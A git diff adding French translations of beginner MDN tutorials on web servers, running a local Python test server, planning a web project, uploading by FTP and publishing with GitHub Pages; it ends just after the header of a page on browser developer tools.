Example du nom de domaine d'un site web dans la barre d'adresse du navigateur

+ +

Les termes page web et site web sont souvent confondus lorsqu'un site web ne comprend qu'une seule page. Un tel site pourrait être appelé un site web à page unique.

+ +

Serveur web

+ +

Un serveur web est un ordinateur hébergant un ou plusieurs sites web. « Héberger » signifie que toutes les pages web et fichiers associés sont localement enregistrés sur cet ordinateur. À la demande d'un utilisateur, le serveur web transmettra la page web du site web hébergé au navigateur de l'utilisateur.

+ +

Attention à ne pas confondre site web et serveur web. Par exemple, si quelqu'un dit « Mon site web ne répond pas », cela signifie en fait que le serveur web ne répond pas et que, par conséquent, le site web n'est pas accessible. Par ailleurs, puisqu'un serveur web peut héberger plusieurs sites web, le terme serveur web n'est jamais utilisé pour désigner un site web, car cela serait une importante source de confusion. Ainsi, dans l'exemple précédent, si on dit « Mon serveur web ne répond pas », cela signifie qu'aucun site web de ce serveur n'est disponible.

+ +

Moteur de recherche

+ +

Les moteurs de recherche sont à l'origine de beaucoup de confusion sur le web. Un moteur de recherche est un type particulier de site web qui aide les utilisateurs à trouver les pages web d'autres sites web.

+ +

Il y en a tout plein : Google, Bing, Yandex, DuckDuckGo et plusieurs autres encore. Certains sont généraux, alors que d'autres sont spécialisés pour certains sujets de recherche. Vous êtes libres d'utiliser votre préféré.

+ +

Plusieurs débutants sur le Web confondent moteur de recherche et navigateur. Soyons clairs : un navigateur est un logiciel qui affiche des pages web, alors qu'un moteur de recherche est un site web qui aide les utilisateurs à trouver les pages web d'autres sites web. La confusion est due à l'affichage de la page d'accueil d'un moteur de recherche lors de l'ouverture initiale d'un navigateur. Cette façon de faire est tout de même logique, car la première chose que l'on veut faire en ouvrant un navigateur est de trouver une page à afficher. Faites attention de ne pas confondre infrastructure (par exemple, le navigateur) et service (par exemple, le moteur de recherche). Cette distinction vous sera bien utile, mais ne soyez pas trop inquiets, car même les professionnels tendent à être un peu vagues dans leur emploi de la terminologie.

+ +

Voici un exemple du navigateur Firefox affichant une boîte de recherche Google sur sa page de démarrage par défaut :

+ +

Exemple de Firefox nightly affichant par défaut une page Google page personnalisée

+ +

Étapes suivantes

+ + diff --git a/files/fr/learn/common_questions/set_up_a_local_testing_server/index.html b/files/fr/learn/common_questions/set_up_a_local_testing_server/index.html new file mode 100644 index 0000000000..c9deed5e9b --- /dev/null +++ b/files/fr/learn/common_questions/set_up_a_local_testing_server/index.html @@ -0,0 +1,109 @@ +--- +title: Comment configurer un serveur de test local ? +slug: Apprendre/Common_questions/configurer_un_serveur_de_test_local +tags: + - Apprendre + - Débutant + - Express + - Flask + - Node + - PHP + - Python + - Serveurs + - django + - lamp + - localhost +translation_of: Learn/Common_questions/set_up_a_local_testing_server +--- +
+

Cet article explique comment configurer un serveur de test local simple sur votre machine, et les bases pour l'utiliser.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable savoir comment Internet fonctionne et ce qu'est un serveur Web.
Objectif:Vous apprendrez à configurer un serveur de test local.
+ +

Fichiers locaux contre fichiers distants

+ +

Dans les cours du MDN, la plupart du temps, on vous demande d'ouvrir les exemples directement dans le navigateur — vous pouvez le faire en double cliquant le fichier HTML, en déposant celui-ci dans la fenêtre de votre navigateur, ou en faisant Fichier > Ouvrir... et naviguer jusqu'au fichier HTML, etc... Il y a beaucoup de manières d'y arriver.

+ +

Vous savez que vous avez lancé l'exemple depuis un fichier local, lorsque l'URL commence par file:// suivi du chemin d'accès dans votre système de fichiers. Par contre, si vous consultez un de nos exemples hébergés sur GitHub (ou n'importe quel autre serveur distant), l'adresse web commencera par http:// ou https:// ; dans ce cas le fichier a été servi via HTTP.

+ +

Le problème du test local

+ +

Certains exemples ne fonctionneront pas si vous les ouvrez en tant que fichiers locaux. Il y a plusieurs raisons possibles, dont les plus courantes sont :

+ +
    +
  • Ils sont basés sur des requêtes asynchrones. Certains navigateurs comme Chrome n'exécutent pas de requêtes asynchrones (voyez Récolter des données depuis le serveur ) si vous lancez simplement l'exemple comme un fichier local. Cela est dû à des restrictions de sécurité (voir Sécurité des sites Web pour en savoir plus).
    • +
  • Ils mettent en œuvre un langage spécifique, tournant sur le serveur. Des langages côté-serveur (comme PHP ou Python) nécessitent un environnement spécifique fourni par le serveur pour interpréter le code et donner des résultats.
    • +
+ +

Créer un serveur HTTP local simple

+ +

Pour contourner le problème des requêtes asynchrones, nous devons tester de tels exemples en les exécutant depuis un serveur local. Le module SimpleHTTPServer de Python permet une mise en œuvre simple de cette solution.

+ +

Voilà la marche à suivre :

+ +
    +
  1. +

    Installer Python. Si vous utilisez GNU/Linux ou macOS, un environnement python est sans doute déjà disponible sur votre machine. Les utilisateurs de Windows pourront trouver un installeur depuis la page d'accueil de Python (on y trouve toutes les instructions) :

    + +
      +
    • Allez à python.org
      • +
    • Sous Télécharger, cliquez le lien pour Python "3.xxx".
      • +
    • Tout en bas de la page,  télécharger le fichier pointé par le lien Windows x86 executable installer.
      • +
    • Exécuter ce programme quand le téléchargement est fini.
      • +
    • Sur la première page de l'installeur, assurez-vous d'avoir coché la case  "Ajouter Python 3.xxx to PATH".
      • +
    • Cliquer Install, puis Fermer quand l'installation est complète.
      • +
    +
    2. +
  2. +

    Ouvrez votre invite de commandes (Windows)/terminal (OS X et GNULinux). Pour vérifier que l'installation précédente s'est déroulée correctement, entrez la commande suivante :

    + + 
    python -V
    +
    3. +
  3. +

    Elle devrait retourner un numéro de version. Si c'est le cas, en utilisant la commande cd, placer votre répertoire de travail dans le dossier contenant l'exemple.

    + + 
    #inclure le nom du dossier pour y s'y rendre,
+#par exemple
+cd Bureau
+# utiliser deux points pour remonter dans
+#le dossier parent si nécessaire
+cd ..
    +
    4. +
  4. +

    Entrer la commande pour démarrer le serveur dans ce dossier.

    + + 
    # Si la version de Python retournée est ultérieur à 3.X
+python3 -m http.server
+# Si la version de Python retournée est ultérieur à 2.X
+python -m SimpleHTTPServer
    +
    5. +
  5. +

    Par défaut, il affiche la liste des fichiers  du dossier sur un serveur de développement, sur le port 8000. Vous pouvez aller à ce serveur en saisissant  l'URL localhost:8000 dans votre navigateur web. Vous verrez le listing du dossier dans lequel le serveur tourne — cliquer le fichier HTML que vous voulez exécuter.

    +
    6. +
+ +
+

Note : Si le port 8000 est occupé, vous pouvez choisir un autre port en spécifiant une autre valeur après la commande par exemple python -m http.server 7800 (Python 3.x) ou python -m SimpleHTTPServer 7800 (Python 2.x). Vous pouvez maintenant accéder à votre contenu à l'adresse localhost:7800.

+
+ +

Faire fonctionner localement des langages serveur

+ +

Le module SimpleHTTPServer de Python est utile, mais il ne sait pas comment exécuter du code écrit dans des langages comme PHP ou Python. Pour gérer ça, vous aurez besoin de quelque chose en plus — ce dont vous aurez besoin exactement dépend du language serveur que vous essayez d'exécuter. Voici quelques exemples :

+ +
    +
  • Pour exécuter du code Python coté-serveur, vous aurez besoin d'utiliser un framework web Python. Vous pouvez découvrir comment utiliser le framework Django en lisant Django Web Framework (Python). Flask est une alternative à Django, un peu plus légère. Pour l'exécuter, vous aurez besoin d'installer Python/PIP, puis Flask en utilisant pip3 install flask.  À ce point, vous devriez être capable d'exécuter les exemples Python Flask en utilisant par exemple python3 python-example.py, puis consulter localhost:5000 dans votre navigateur.
    • +
  • Pour exécuter du code Node.js (JavaScript) côté-serveur, vous aurez besoin d'utiliser un  noeud brut ou un framework construit par dessus ce dernier. Express est un bon choix — voir Express Web Framework (Node.js/JavaScript).
    • +
  • Pour exécuter du code PHP côté serveur, vous aurez besoin d'une configuration serveur qui peut  interpréter PHP. De bonnes options pour tester PHP localement sont MAMP (Mac and Windows) , AMPPS (Mac, Windows, Linux) and LAMP (Linux, Apache, MySQL, et PHP/Python/Perl). Ce sont des paquets complets qui créent des configurations locales vous permettant d'exécuter un serveur Apache, PHP et des bases de données MySQL.
    • +
diff --git a/files/fr/learn/common_questions/thinking_before_coding/index.html b/files/fr/learn/common_questions/thinking_before_coding/index.html new file mode 100644 index 0000000000..f5e17cdff0 --- /dev/null +++ b/files/fr/learn/common_questions/thinking_before_coding/index.html @@ -0,0 +1,186 @@ +--- +title: Commencez votre projet Web +slug: Apprendre/Commencez_votre_projet_web +tags: + - Beginner + - Composing + - Web +translation_of: Learn/Common_questions/Thinking_before_coding +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +
+

Cette article présente l'étape primordiale de n'importe quel projet  définir ce qu'on souhaite accomplir avec.

+
+ + + + + + + + + + + + +
Prérequis Aucun
Objectif Apprendre à définir les objectifs pour donner une direction à votre projet.
+ +

Pour commencer

+ +

Lors du démarrage d'un projet web, beaucoup de gens se concentrent sur l'aspect technique. Bien sûr, vous devez être familier avec la technique, mais ce qui importe vraiment est ce que vous voulez accomplir. Oui, cela semble évident, mais de trop nombreux projets échouent, pas à cause d'un manque de savoir-faire technique, mais à cause d'un manque d'objectifs et de vision.

+ +

Alors, quand vous aurez une idée et que vous voudrez la concrétiser en un site web, il y a quelques questions auxquelles vous devrez répondre avant toute autre chose 

+ +
    +
  • Qu'est-ce que je veux accomplir exactement ?
    • +
  • Comment un site web aiderait à atteindre mes objectifs ?
    • +
  • Qu'est-ce qui doit être fait, et dans quel ordre, pour atteindre mes objectifs ?
    • +
+ +

Se poser ces questions et y répondre constituent la conceptualisation du projet. C'est une première étape nécessaire pour atteindre votre objectif, que vous soyez un débutant ou un développeur expérimenté.

+ +

Pédagogie active

+ +

Il n'y a pas la pédagogie active disponible pour l'instant. S'il-vous-plaît, pensez à contribuer pour enrichir ce contenu !

+ +

Aller plus loin

+ +

Un projet ne commence jamais par le côté technique. Les musiciens ne joueront jamais un morceau sans avoir d'abord une idée de ce qu'ils veulent jouer, cela s'applique également pour les peintres, les écrivains et les développeurs web. La technique vient après.
+
+ La technique est évidemment essentielle. Les musiciens doivent maîtriser leur instrument. Mais de bons musiciens ne peuvent jamais produire de la bonne musique sans avoir eu une idée. Par conséquent, avant de sauter dans la technique (le code et les outils), prenez d'abord un peu de recul et décidez en détails de ce que vous voulez faire.
+
+ Une discussion d'une heure avec des amis est un bon début, mais ce sera insuffisant. Vous devez vous asseoir et structurer vos idées pour avoir une vision claire du chemin que vous devrez parcourir afin de concrétiser vos idées. Pour ce faire, il vous suffit d'un stylo, de quelques feuilles de papier et d'un peu de temps pour répondre au moins aux questions suivantes.

+ +
+

Remarque  Il existe d'innombrables moyens pour mener à bien des idées de projet. Nous ne pouvons pas tous les mentionner ici (un livre entier ne suffirait pas). Ce que nous allons présenter ici est une méthode simple pour gérer ce que les professionnels appellent l'idéation, la planification et la gestion de projet.

+
+ +

Qu'est-ce que je veux accomplir exactement ?

+ +

C'est la question la plus importante à laquelle vous devez répondre, car il en découle tout le reste. Énumérez tous les objectifs que vous souhaitez atteindre. Ce peut être n'importe quoi  vendre des biens pour faire de l'argent, exprimer des opinions politiques, rencontrer de nouveaux amis, donner des concerts avec des musiciens, collectionner des images de chat ou autre chose encore.

+ +

Supposons que vous êtes un musicien. Vous pourriez souhaiter 

+ +
    +
  • Permettre aux gens d'écouter votre musique.
    • +
  • Vendre des goodies.
    • +
  • Rencontrer d'autres musiciens.
    • +
  • Parler de votre musique.
    • +
  • Enseigner la musique à travers des vidéos.
    • +
  • Publier des photos de vos chats.
    • +
+ +

Une fois que vous avez obtenu une telle liste, vous avez besoin d'établir des priorités. Ordonnez les objectifs du plus important au moins important 

+ +
    +
  1. Permettre aux gens d'écouter votre musique
    2. +
  2. Parler de votre musique.
    3. +
  3. Rencontrer d'autres musiciens.
    4. +
  4. Vendre des goodies.
    5. +
  5. Enseigner la musique à travers des vidéos.
    6. +
  6. Publier des photos de vos chats.
    7. +
+ +

Faire cet exercice simple, écrire les objectifs et les trier, va vous aider quand vous aurez des décisions à prendre (dois-je implémenter ces fonctionnalités ? faut-il que j'utilise ces services ? est-il nécessaire de créer ces designs ?).

+ +

Bien. Maintenant que vous avez votre liste de priorités pour ces objectifs, nous allons passer à la question suivante.

+ +

Comment un site web pourrait-il répondre à mes objectifs ?

+ +

Vous avez votre liste d'objectifs et vous sentez que vous avez besoin d'un site web pour atteindre ces objectifs. En êtes-vous sûr ?

+ +

Jetons un regard rétrospectif sur notre exemple. Nous avons cinq objectifs liés à la musique et un lié aux photos de chat, complètement indépendant. Est-ce raisonnable de construire un site web unique pour couvrir l'ensemble de ces objectifs ? Est-ce même nécessaire ? Après tout, des dizaines de services web existants pourraient sastisfaire à vos objectifs sans avoir à construire un nouveau site web.

+ +

Encore une fois, il y a tellement de services web déjà disponibles pour mettre en valeur les photos qu'il ne sert à rien de s'épuiser à construire un nouveau site juste pour montrer à quel point nos chats sont mignons.

+ +

Les cinq autres objectifs sont tous reliés à la musique. Il y a, bien sûr, de nombreux services web qui pourrait traiter ces objectifs, mais il est logique dans ce cas de construire son propre site web dédié. Un tel site est le meilleur moyen de regrouper toutes les choses que nous voulons publier au même endroit (les objectifs 3, 5 et 6) et de promouvoir l'interaction entre nous et le public (les objectifs 2 et 4). En bref, puisque tous ces objectifs tournent autour du même sujet, avoir tout au même endroit nous aidera à atteindre nos objectifs et permettra au public de mieux interagir avec nous.

+ +

Comment un site web peut-il m'aider à atteindre mes objectifs ? En répondant à cela, vous trouverez la meilleure façon d'atteindre vos objectifs et cela vous évitera des efforts inutiles.

+ +

Qu'est-ce qui doit être fait, et dans quel ordre, pour atteindre mes objectifs ?

+ +

Maintenant que vous savez ce que vous voulez accomplir, il est temps de transformer ces objectifs en mesures concrètes. Note  vos objectifs ne sont pas nécessairement gravés dans la pierre. Ils évoluent au fil du temps, même dans le cadre du projet, si vous rencontrez des obstacles inattendus ou tout simplement si vous changez d'avis.

+ +

Plutôt qu'une longue explication, revenons à notre exemple avec ce tableau 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ObjectifsChoses à faire
Permettre aux gens d'écouter votre musique +
    +
  1. Enregistrer de la musique
    2. +
  2. Préparez quelques fichiers audio écoutables en ligne (Pourriez-vous faire cela avec les services web existants ?)
    3. +
  3. Donner aux gens l'accès à votre musique sur une partie de votre site web
    4. +
+
Parler de votre musique +
    +
  1. Écrire quelques articles pour lancer la discussion
    2. +
  2. Définir l'apparence et le format des articles
    3. +
  3. Publier ces articles sur le site web (Comment faire cela ?)
    4. +
+
Rencontrer d'autres musiciens +
    +
  1. Permettre aux gens de vous contacter (e-mail ? Twitter ? Facebook ? Téléphone ? Adresse ?)
    2. +
  2. Définir comment les gens vont trouver ces moyens de contact à partir de votre site
    3. +
+
Vendre des goodies +
    +
  1. Créer les goodies
    2. +
  2. Stocker les goodies
    3. +
  3. Trouver un moyen de gérer l'expédition
    4. +
  4. +
    +
    Trouver un moyen de gérer le paiement
    +
    +
    5. +
  5. Faire un système sur votre site pour que les gens passe des commandes
    6. +
+
Enseigner la musique à travers des vidéos +
    +
  1. Enregistrer vos leçons vidéos
    2. +
  2. Préparer les fichiers vidéos consultables en ligne (encore une fois, pourriez-vous le faire avec les services web existants ?)
    3. +
  3. Donner aux gens l'accès à vos vidéos sur une partie de votre site web
    4. +
+
+ +

Deux choses à noter. Tout d'abord, certains de ces éléments ne sont pas liés à l'internet (par exemple, enregistrer de la musique, écrire des articles). Souvent, ces activités hors-lignes importent encore plus que le côté web du projet. Dans la vente, par exemple, il est beaucoup plus important et cela prend plus de temps que de gérer l'approvisionnement, le paiement et l'expédition plutôt que de construire un site web où les gens peuvent passer des commandes.

+ +

Deuxièmement, lorsque vous listerez ces mesures réalisables, vous vous poserez sans doute de nouvelles questions auxquelles répondre. C'est normal, on arrive souvent à se poser plus de questions qu'au début (par exemple, dois-je apprendre à faire tout cela moi-même ? demander à quelqu'un de le faire pour moi ? utiliser les services de tiers ?).

+ +

Conclusion

+ +

Comme vous pouvez le voir, l'idée simple: « Je veux faire un site » génère une longue liste de choses à faire, qui grandit à mesure que vous y pensez. Elle peut vite sembler écrasante, mais ne paniquez pas. Vous ne devez pas répondre à toutes les questions et vous ne devez pas tout faire sur votre liste. Ce qui importe est d'avoir une vision de ce que vous voulez et comment y arriver. Une fois que vous avez une vision claire, vous devez décider comment et quand le faire. Décomposer les grandes tâches en petites étapes réalisables. Et ces petites étapes vont s'assembler entre elles jusqu'à former de grandes réalisations.

+ +

Prochaines étapes

+ + diff --git a/files/fr/learn/common_questions/upload_files_to_a_web_server/index.html b/files/fr/learn/common_questions/upload_files_to_a_web_server/index.html new file mode 100644 index 0000000000..4d8d8330fa --- /dev/null +++ b/files/fr/learn/common_questions/upload_files_to_a_web_server/index.html @@ -0,0 +1,134 @@ +--- +title: Transférer des fichiers vers un serveur web +slug: Apprendre/Transférer_des_fichiers_vers_un_serveur_web +tags: + - Beginner + - NeedsActiveLearning + - WebMechanics +translation_of: Learn/Common_questions/Upload_files_to_a_web_server +--- +
+

Cet article illustre comment publier votre site en ligne grâce à des outils {{Glossary("FTP")}}. 

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable comprendre ce qu'est un serveur web et comment fonctionnent les noms de domaines. Vous devriez également savoir mettre en place un environnement simple de développement web et savoir comment écrire une page web simple.
Objectifs :Apprendre à envoyer des fichiers vers un serveur en utilisant FTP.
+ +

Maintenant que vous avez construit une page web, vous voulez peut être la mettre en ligne grâce à un serveur web. Dans cet article, nous verrons comment faire en utilisant {{Glossary("FTP")}}.

+ +

Pédagogie active

+ +

Il n'y a, pour le moment, pas d'élément de pédagogie active pour cette section. Vous pouvez néanmoins contribuer.

+ +

Aller plus loin

+ +

Mettre les mains sur un client FTP : FireFTP

+ +

Il existe de nombreux clients FTP. Dans cette démonstration, nous utiliserons FireFTP. Celui-ci est simple à installer avec Firefox car c'est un module complémentaire.

+ +
+

Il existe de nombreuses autres options, voir les outils de publications : les clients FTP pour plus d'informations.

+
+ +

Pour ouvrir FireFTP dans un nouvel onglet de Firefox, il existe deux méthodes :

+ +
    +
  1. Menu de Firefox ➤ Developer ➤ FireFTP
    2. +
  2. Outils ➤ Développement web ➤ FireFTP
    3. +
+ +

Vous devriez voir apparaître cette fenêtre :

+ +

FireFTP : the interface, not connected to a server

+ +

Se connecter

+ +

Dans cet exemple, nous prendrons un hébergeur (la société qui hébergera notre serveur web) qui s'appellera « Hébergeur Exemple » dont les URL ressembleront à : monsiteperso.hebergeurexemple.net.

+ +

Vous avez donc souscrit à un compte chez cet hébergeur et avez reçu des informations de sa part :

+ +
+

Félicitations et merci d'avoir ouvert un compte chez Hébergeur exemple.

+ +

Votre compte est : demozilla

+ +

Votre site sera accessible à cette adresse demozilla.hebergeurexemple.net

+ +

Pour publier votre site avec votre compte, connectez-vous via FTP avec les informations d'authentification suivantes :

+ +
    +
  • Serveur FTP : ftp://demozilla.hebergeurexemple.net
    • +
  • Utilisateur : demozilla
    • +
  • Mot de passe : pandar0ux
    • +
  • Pour publier des fichiers sur le Web, placez les dans le répertoire Public/htdocs.
    • +
+
+ +

Tout d'abord, jetons un coup d'œil à http://demozilla.hebergeurexemple.net/ — pour le moment, comme vous pouvez le voir, il n'y a pas grand chose :

+ +

Our demozilla personal website, seen in a browser: it's empty

+ +
+

Note : Selon l'hébergeur que vous avez choisi, vous pourriez ici voir une page avec un texte ressemblant à « Ce site web est hébergé par [Nom de l'hébergeur] ».

+
+ +

Pour connecter votre client FTP au serveur distant, cliquez sur le bouton « Créer un compte » de FireFTP, puis remplissez les informations telles qu'elles vous ont été fournies par votre hébergeur :

+ +

FireFTP: creating an account

+ +

Ici et là-bas : la vue locale et la vue distante

+ +

Vous pouvez ensuite vous connecter sur ce nouveau compte :

+ +

The FTP interface, once logged

+ +

Examinons cet écran :

+ +
    +
  • Sur la gauche, vous voyez vos fichier locaux (ceux de votre ordinateur). Déplacez vous dans le répertoire où vous stockez votre site web (dans ce cas, mdn).
    • +
  • Sur la droite, vous voyez les fichiers distants (ceux du serveur web). Vous êtes connecté-e à la racine du dossier FTP distint (dans ce cas, users/demozilla)
    • +
  • Pour le moment, vous pouvez ignorer la zone en bas de l'écran, il s'agit en fait d'un journal contenant chaque interaction entre votre client FTP et le serveur.
    • +
+ +

Transférer des fichiers vers le serveur

+ +

Comme nous l'avons vu plus tôt, notre hébergeur nous a indiqué que les fichiers devaient être stockés sous Public/htdocs pour être visible sur le Web. Déplaçons-nous donc dans ce dossier grâce au volet droit :

+ +

Changing to the htdocs folder on the remote server

+ +

Ensuite, pour transférer des fichiers de votre ordinateur vers ce dossier du serveur, il suffit de les glisser-déposer du volet gauche vers le volet droit :

+ +

The files show in the remote view: they have been pushed to the server

+ +

Est-ce que mes fichiers sont bien en ligne ?

+ +

Jusqu'ici tout va bien, vérifions quand même en tapant http://demozilla.hebergeurexemple.net/ dans la barre d'URL du navigateur :

+ +

Here we go: our website is live!

+ +

Et voilà ! Notre site est en ligne !

+ +

D'autres méthodes pour transférer des fichiers

+ +

Le protocole FTP est l'une des méthodes les plus répandues pour publier un site web. Cependant, il en existe d'autres, en voici quelques unes :

+ +
    +
  • Les interfaces web. Votre hébergeur peut mettre à disposition une interface web qui permet de transférer des fichiers.
    • +
  • GitHub (méthode avancée). Il est possible de transférer des fichiers grâce à {{Glossary("git")}} en utilisant des combinaison de méthodes qui sont liées aux opérations de commit/push. Pour plus d'informations, voir l'article sur comment publier son site web qui fait partie du guide Commencer avec le Web.
    • +
  • {{Glossary("Rsync")}} (méthode avancée). Un système de synchronisation de fichiers entre un système local et un système distant.
    • +
  • {{Glossary("WebDAV")}}. Une extension du protocle {{Glossary("HTTP")}} qui permet de gérer des fichiers de façon plus avancée.
    • +
+ +

Prochaines étapes

+ +

Félicitations, vous avez presque fini. Il reste encore une dernière étape importante : vérifier que votre site fonctionne correctement.

diff --git a/files/fr/learn/common_questions/using_github_pages/index.html b/files/fr/learn/common_questions/using_github_pages/index.html new file mode 100644 index 0000000000..4537201647 --- /dev/null +++ b/files/fr/learn/common_questions/using_github_pages/index.html @@ -0,0 +1,110 @@ +--- +title: Utiliser les pages GitHub +slug: Apprendre/Utiliser_les_pages_GitHub +tags: + - Débutant + - GitHub + - Guide + - Web + - git +translation_of: Learn/Common_questions/Using_Github_pages +--- +

GitHub est un site de partage de code, sur lequel on peut publier des projets dont le code est géré avec le système de gestion de version Git. Par défaut, le système est open source, ce qui signifie que tout le monde peut consulter le code, l'utiliser pour apprendre ou l'améliorer et collaborer aux projets. Vous pouvez donc participer à d'autres projets ou, à l'inverse, des personnes peuvent collaborer à vos projets ! Dans cet article, nous verrons comment publier du contenu sur le web en utilisant les « pages GitHub » (aussi appelées gh-pages) qui sont une des fonctionnalités de GitHub.

+ +

Publier du contenu

+ +

GitHub est un outil très populaire et important à l'heure actuelle. Git est un logiciel de gestion de version reconnu, utilisé par de nombreuses entreprises. GitHub possède notamment une fonctionnalité : les pages GitHub. Celles-ci vous permettent de publier un site web sur Internet.

+ +

Mettre en place Git et un compte GitHub

+ +
    +
  1. Tout d'abord, installez Git sur votre ordinateur. Git est le logiciel de gestion de version sur lequel fonctionne GitHub.
    2. +
  2. Ensuite, inscrivez-vous sur GitHub. La procédure est plutôt simple.
    3. +
  3. Une fois inscrit, connectez vous à github.com avec votre nom d'utilisateur et votre mot de passe.
    4. +
+ +
+

Note : Attention, le site GitHub existe uniquement en anglais. Bien que les étapes mentionnées ici soient relativement simples, il est préférable d'avoir quelques bases d'anglais afin de poursuivre sereinement (nul besoin de connaître Shakespeare ;)). Si vous n'êtes pas à l'aise, rassurez-vous, il existe de nombreux tutoriels en français sur le Web.

+
+ +

Préparer le code afin de l'envoyer vers GitHub

+ +

Vous pouvez utiliser des dépôts GitHub pour stocker n'importe quel projet logiciel. Mais pour utiliser les pages GitHub et publier un site web (ce qui nous intéresse ici), votre projet devra être structuré comme un site web classique et notamment avec un fichier d'entrée intitulé index.html.

+ +

Il faut aussi que le répertoire où le code est stocké soit un « dépôt » Git sur votre ordinateur. Autrement dit, on indique qu'on utilise Git pour gérer les différentes versions des fichiers qui seront stockés dans ce dossier. Pour initialiser un dépôt Git, on suivra ces étapes :

+ +
    +
  1. Utilisez la ligne de commande pour vous placer dans le répertoire de votre site web (dans cet article, ce répertoire sera appelé test-site, remplacez ce nom avec celui de votre répertoire). Pour ce faire, on utilisera la commande cd (qui signifie « change directory » ou « changer de répertoire/dossier » en français). Par exemple, si votre répertoire se situe sur votre bureau et se nomme test-site, vous pourrez taper : + + 
    cd Bureau/test-site
    +
    2. +
  2. Lorsque vous êtes dans le répertoire de votre site web, utilisez la commande suivante. Celle-ci indiquera à Git que le répertoire doit être considéré comme un dépôt Git : + 
    git init
    +
    3. +
+ +

Un aparté sur les interfaces en ligne de commande

+ +

La meilleure façon d'envoyer votre code sur GitHub est d'utiliser l'interface en ligne de commande de votre ordinateur. La ligne de commande est une fenêtre où on saisit des commandes au clavier pour créer des fichiers, lancer des programmes, plutôt que de cliquer avec la souris en utilisant une interface graphique. Une interface en ligne de commande ressemblera à quelque chose comme ceci :

+ +

Interface en ligne de commande

+ +
+

Note : Il existe également des interfaces graphiques pour Git qui permettent de faire la même chose. N'hésitez pas à les utiliser si vous ne vous sentez pas à l'aise avec la ligne de commande.

+
+ +

Chaque système d'exploitation possède sa propre interface en ligne de commande  :

+ +
    +
  • Windows : l'invite de commande. Celle-ci peut être lancée en utilisant la touche Windows et en tapant Invite de commande avant de sélectionner l'option dans la liste qui apparaît. Windows utilise certaines conventions différentes de celles choisies par Linux et OS X, les commandes peuvent donc varier légèrement (par exemple, dans Windows, on utilisera \ pour indiquer un sous-répertoire alors que Linux et OS X utiliseront /).
    • +
  • OS X : le terminal. On le trouvera dans Applications > Utilitaires.
    • +
  • Linux : Généralement, on peut lancer un terminal avec le raccourci clavier Ctrl + Alt + T. Si cela ne fonctionne pas, recherchez Terminal dans les applications ou via les outils de recherche.
    • +
+ +

La ligne de commande peut sembler un peu effrayante au début mais ne vous inquiétez pas, vous pourrez apprendre les bases très rapidement. En utilisant la ligne de commande vous indiquez à l'ordinateur que vous souhaitez effectuer telle action, plutôt que de le faire à la souris, vous l'indiquez au clavier en saisissant la commande voulue puis en appuyant sur Entrée.

+ +

Créer un dépôt sur GitHub pour votre code

+ +
    +
  1. Ensuite, vous aurez besoin de créer un dépôt GitHub sur lequel envoyer les fichiers de votre site. Quand vous êtes connecté-e sur GitHub, cliquez sur l'icône Plus (+) en haut à droite de la page d'accueil puis sélectionner l'option New Repository (qui signifie « Créer un nouveau dépôt »).
    2. +
  2. Sur la page qui s'affiche, dans le champ « Repository name », entrez un nom pour votre dépôt. Vous pouvez par exemple saisir mon-premier-depot.
    3. +
  3. Il y a également un champ qui décrit le projet qui sera placé dans ce dépôt. Votre écran devrait ressembler à quelque chose comme :
    +
    4. +
  4. Ensuite, cliquez sur « Create repository » (pour créer le dépôt). Vous arrieverez alors sur la page suivante :
    +
    5. +
+ +

Envoyer vos fichiers vers GitHub

+ +
    +
  1. Sur cette page, une section vous intéresse particulièrement : « …or push an existing repository from the command line » (ce qui signifie « ou pousser un dépôt existant grâce à la ligne de commande »). Vous devrez voir deux lignes de codes sous cette section. Copiez la première ligne et collez la dans votre interface en ligne de commande puis tapez sur Entrée. La commande devrait ressembler à : + + 
    git remote add origin https://github.com/chrisdavidmills/mon-premier-depot.git
    +
    2. +
  2. Ensuite, saisissez ces deux commandes en tapant sur la touche Entrée après chacune. Ces commandes permettent d'indiquer à Git qu'il doit gérer tous les fichiers du dossier et d'enregistrer cette action. + 
    git add --all
+git commit -m 'ajout des fichiers au dépôt'
    +
    3. +
  3. Enfin, envoyez le code sur GitHub en utilisant la seconde commande affichée sur la section de la page GitHub : + 
    git push -u origin master
    +
    4. +
  4. Votre code est publié sur GitHub. Pour avoir une page GitHub, vous devrez créer une branche gh-pages sur votre dépôt. Actualisez la page web de votre dépôt, vous devriez obtenir une page semblable à celle présentée ci-dessous. Ensuite, cliquez que le bouton « Branch: master » (GitHub indique que vous êtes sur la branche master de votre dépôt). Dans la liste qui s'affiche, saisissez le texte gh-pages puis cliquez sur Create branch: gh-pages (« créer la branche intitulée gh-pages »). Cela créera une nouvelle branche pour votre dépôt, cette branche s'appellera gh-pages et sera publiée à un endroit spécifique. L'URL du site sera nom-utilisateur.github.io/nom-du-depot. Dans mon exemple, l'URL est donc https://chrisdavidmills.github.io/my-repository. La page qui est affichée à cette URL est la page index.html contenue dans le dépôt.
    +
    5. +
  5. Utilisez votre navigateur préféré pour visiter cette URL. Voici votre site ! Partagez le lien avec vos amis pour leur montrer :)
    6. +
+ +
+

Note : Si vous êtes bloqué-e, n'hésitez pas à utiliser la page d'aide GitHub sur les pages GitHub qui est une excellente ressource (en anglais).

+
+ +

Aller plus loin avec Git et GitHub

+ +

Si vous souhaitez modifier votre site et le mettre à jour sur GitHub, modifiez les fichiers comme vous le faisiez auparavant puis utilisez les commandes suivantes pour indiquer les changements à Git et les envoyer sur GitHub (n'oubliez pas d'appuyer sur Entrée entre chaque commande) :

+ +
git add --all
+git commit -m 'Un autre commit'
+git push
+ +

Vous pouvez utiliser un autre message que « un autre commit »  pour indiquer les changements que vous avez effectués.

+ +

Dans cet article, nous n'avons fait qu'effleurer la surface de Git. Pour en savoir plus, n'hésitez pas à utiliser les pages d'aide de GitHub (en anglais) ou encore le manuel Pro Git (en français).

diff --git a/files/fr/learn/common_questions/what_are_browser_developer_tools/index.html b/files/fr/learn/common_questions/what_are_browser_developer_tools/index.html new file mode 100644 index 0000000000..71d3585366 --- /dev/null +++ b/files/fr/learn/common_questions/what_are_browser_developer_tools/index.html @@ -0,0 +1,171 @@ +--- +title: Découvrir les outils de développement des navigateurs +slug: Apprendre/Découvrir_outils_développement_navigateurs +tags: + - Beginner + - Browser + - CSS + - CodingScripting + - DevTools + - HTML + - JavaScript + - Learn +translation_of: Learn/Common_questions/What_are_browser_developer_tools +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +
